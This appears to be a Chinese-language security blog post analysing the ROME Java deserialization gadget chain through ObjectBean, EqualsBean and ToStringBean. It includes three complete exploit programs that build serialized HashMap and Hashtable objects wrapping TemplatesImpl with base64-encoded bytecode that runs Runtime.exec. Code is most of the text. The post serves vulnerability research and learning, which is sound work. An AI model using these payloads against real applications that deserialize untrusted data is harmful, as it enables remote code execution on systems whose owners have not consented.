Java反序列化之Rome
Rome简介
ROME
是一个兼容多种格式的feeds解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象
分析
先看几个需要用到的类
ObjectBean
com.sun.syndication.feed.impl.ObjectBean 是 Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和一个 Object 对象实例进行封装。
ObjectBean 也是使用委托模式设计的类,其中有三个成员变量,分别是 EqualsBean/ToStringBean/CloneableBean 类,这三个类为 ObjectBean 提供了 equals、toString、clone 以及 hashCode 方法。
以上从大师傅文章中摘抄
看一下ObjectBean
的源码,可以看到有一个很眼熟的方法
public int hashCode() {
return this._equalsBean.beanHashCode();
}
在CC链中,我们就是通过HashMap
的readObject
方法调用hashCode
方法,这也是rome链的触发方式。在hashCode
方法中,调用了_equalsBean
属性的beanHashCode
方法,,在定义中可以看到_equalsBean
属性是EqualsBean
类型的,跟进EqualsBean#beanHashCode
public int beanHashCode() {
return this._obj.toString().hashCode();
}
调用了_obj
属性的toString
方法,这里可以调用到ObjectBean
的toString
方法
public String toString() {
return this._toStringBean.toString();
}
然后又会调用到ToStringBean
的toString
ToStringBean
该类提供了两个toString
方法
public String toString() {
......
String prefix;
if (tsInfo == null) {
String className = this.obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".") + 1);
} else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
return this.toString(prefix);
}
一个无参方法,用于获取调用链中上一个类的类名或者this.obj
的类名。然后调用有参的toString
方法
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
}
return sb.toString();
}
该方法中调用了BeanIntrospector#getPropertyDescriptors
来获取this._beanClass
中所有的getter
,然后一个个反射调用。调用getter
,这不就跟fastjson
反序列化有异曲同工之妙吗,我们就可以尝试利用这个点触发TemplatesImpl
的利用链
exp构造
环境:
jdk 8u251
rome 1.0
调用链
HashMap#readObject->HashMap#hash->ObjectBean#hashCode->EqualsBean#beanHashCode->ObjectBean#toString->ToStringBean#toString->ToStringBean#toString->TemplatesImpl#getOutputProperties->.......
简单写一下exp
import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class exp1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//构造TemplatesImpl对象
byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//构造恶意的ObjectBean
ObjectBean objectBean=new ObjectBean(Templates.class,templates);
//定义一个无害的ObjectBean
ObjectBean objectBean1=new ObjectBean(String.class,"novic4");
ObjectBean objectBean2=new ObjectBean(ObjectBean.class,objectBean1);
//构造HashMap
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(objectBean2,"test");
//构造EqualsBean
EqualsBean equalsBean=new EqualsBean(ObjectBean.class,objectBean);
//反射修改无害ObjectBean
Field equal=ObjectBean.class.getDeclaredField("_equalsBean");
equal.setAccessible(true);
equal.set(objectBean2,equalsBean);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(hashMap);
oser.close();
System.out.println(new String(Base64.getEncoder().encode(ser.toByteArray())).length());
ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
Object newobj=unser.readObject();
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}
扩展1
EqualsBean#beanHashCode
中调用了toString
方法,那么是不是可以直接将_obj
设置为ToStringBean
呢,测试一下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//构造TemplatesImpl对象
byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//构造ToStringBean
ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
ToStringBean toStringBean1=new ToStringBean(String.class,"s");
//构造ObjectBean
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"novic4");
//反射修改字段
Field obj=EqualsBean.class.getDeclaredField("_obj");
Field equalsBean=ObjectBean.class.getDeclaredField("_equalsBean");
obj.setAccessible(true);
equalsBean.setAccessible(true);
obj.set(equalsBean.get(objectBean),toStringBean);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(hashMap);
oser.close();
System.out.println(new String(Base64.getEncoder().encode(ser.toByteArray())).length());
ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
Object newobj=unser.readObject();
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}
结果显而易见是可行的
扩展2
仔细看一下EqualsBean
的源码可以发现其beanEquals
中也调用了BeanIntrospector.getPropertyDescriptors
获取getter
,也会通过反射调用
public boolean beanEquals(Object obj) {
Object bean1 = this._obj;
Object bean2 = obj;
boolean eq;
if (obj == null) {
eq = false;
} else if (bean1 == null && obj == null) {
eq = true;
} else if (bean1 != null && obj != null) {
if (!this._beanClass.isInstance(obj)) {
eq = false;
} else {
eq = true;
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; eq && i < pds.length; ++i) {
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value1 = pReadMethod.invoke(bean1, NO_PARAMS);
Object value2 = pReadMethod.invoke(bean2, NO_PARAMS);
eq = this.doEquals(value1, value2);
}
}
}
} catch (Exception var10) {
throw new RuntimeException("Could not execute equals()", var10);
}
}
} else {
eq = false;
}
return eq;
}
这就代表也可以通过这个触发TemplatesImpl
的利用链,而在equals
方法中调用了beanEquals
方法,所以只需要调用到equals
方法即可
public boolean equals(Object obj) {
return this.beanEquals(obj);
}
回想一下CC7的利用链,在HashTable
的reconstitutionPut
中调用了key.equals(key)
,不过其调用的是我们构造的HashMap
的equals
方法,不过在调试过程中发现直接调用到了AbstractMap
的equals
方法,看到有师傅说是HashMap的equals方法当中,当对象大于1时会转而调用类java.util.AbstractMap#equals
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
重点看到这一行
if (!value.equals(m.get(key)))
这里调用了value的equals
方法,也就是调用了第一个HashMap的value,m是第二个HashMap,需要跟第一个HashMap有一个共同的键名。只要我们将value设置为EqualsBean
就可以进入EqualsBean#equals
,但是要注意的是,这里的m.get(key)
需要是一个TemplatesImpl
对象,所以我们可以将两个HashMap的value顺序互换一下
这样整条链子也就说得通了,那么调用链就是
HashTable#readObject->HashTable#reconstitutionPut->AbstractMap#equals->EqualsBean#equals->EqualsBean#beanEquals->TemplatesImpl#getOutputProperties->.......
构造一下EXP
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class exp2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//构造TemplatesImpl对象
byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//构造EqualsBean对象
EqualsBean equalsBean=new EqualsBean(String.class,"novic4");
//构造HashTable
HashMap map1=new HashMap();
map1.put("novic4",equalsBean);
map1.put("oPwJc4",templates);
HashMap map2=new HashMap();
map2.put("oPwJc4",equalsBean);
map2.put("novic4",templates);
Hashtable hashtable=new Hashtable();
hashtable.put(map1,1);
hashtable.put(map2,2);
Field beanclass=EqualsBean.class.getDeclaredField("_beanClass");
Field obj=EqualsBean.class.getDeclaredField("_obj");
beanclass.setAccessible(true);
obj.setAccessible(true);
beanclass.set(equalsBean,Templates.class);
obj.set(equalsBean,templates);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(hashtable);
oser.close();
System.out.println(new String(Base64.getEncoder().encode(ser.toByteArray())).length());
ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
Object newobj=unser.readObject();
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}
扩展3
在HashTable
的reconstitutionPut
方法中可以看到这行代码
int hash = key.hashCode();
调用了hashCode
,利用这里也是可以理出一条链子的,这里就不写exp了
参考文章
https://su18.org/post/ysoserial-su18-5/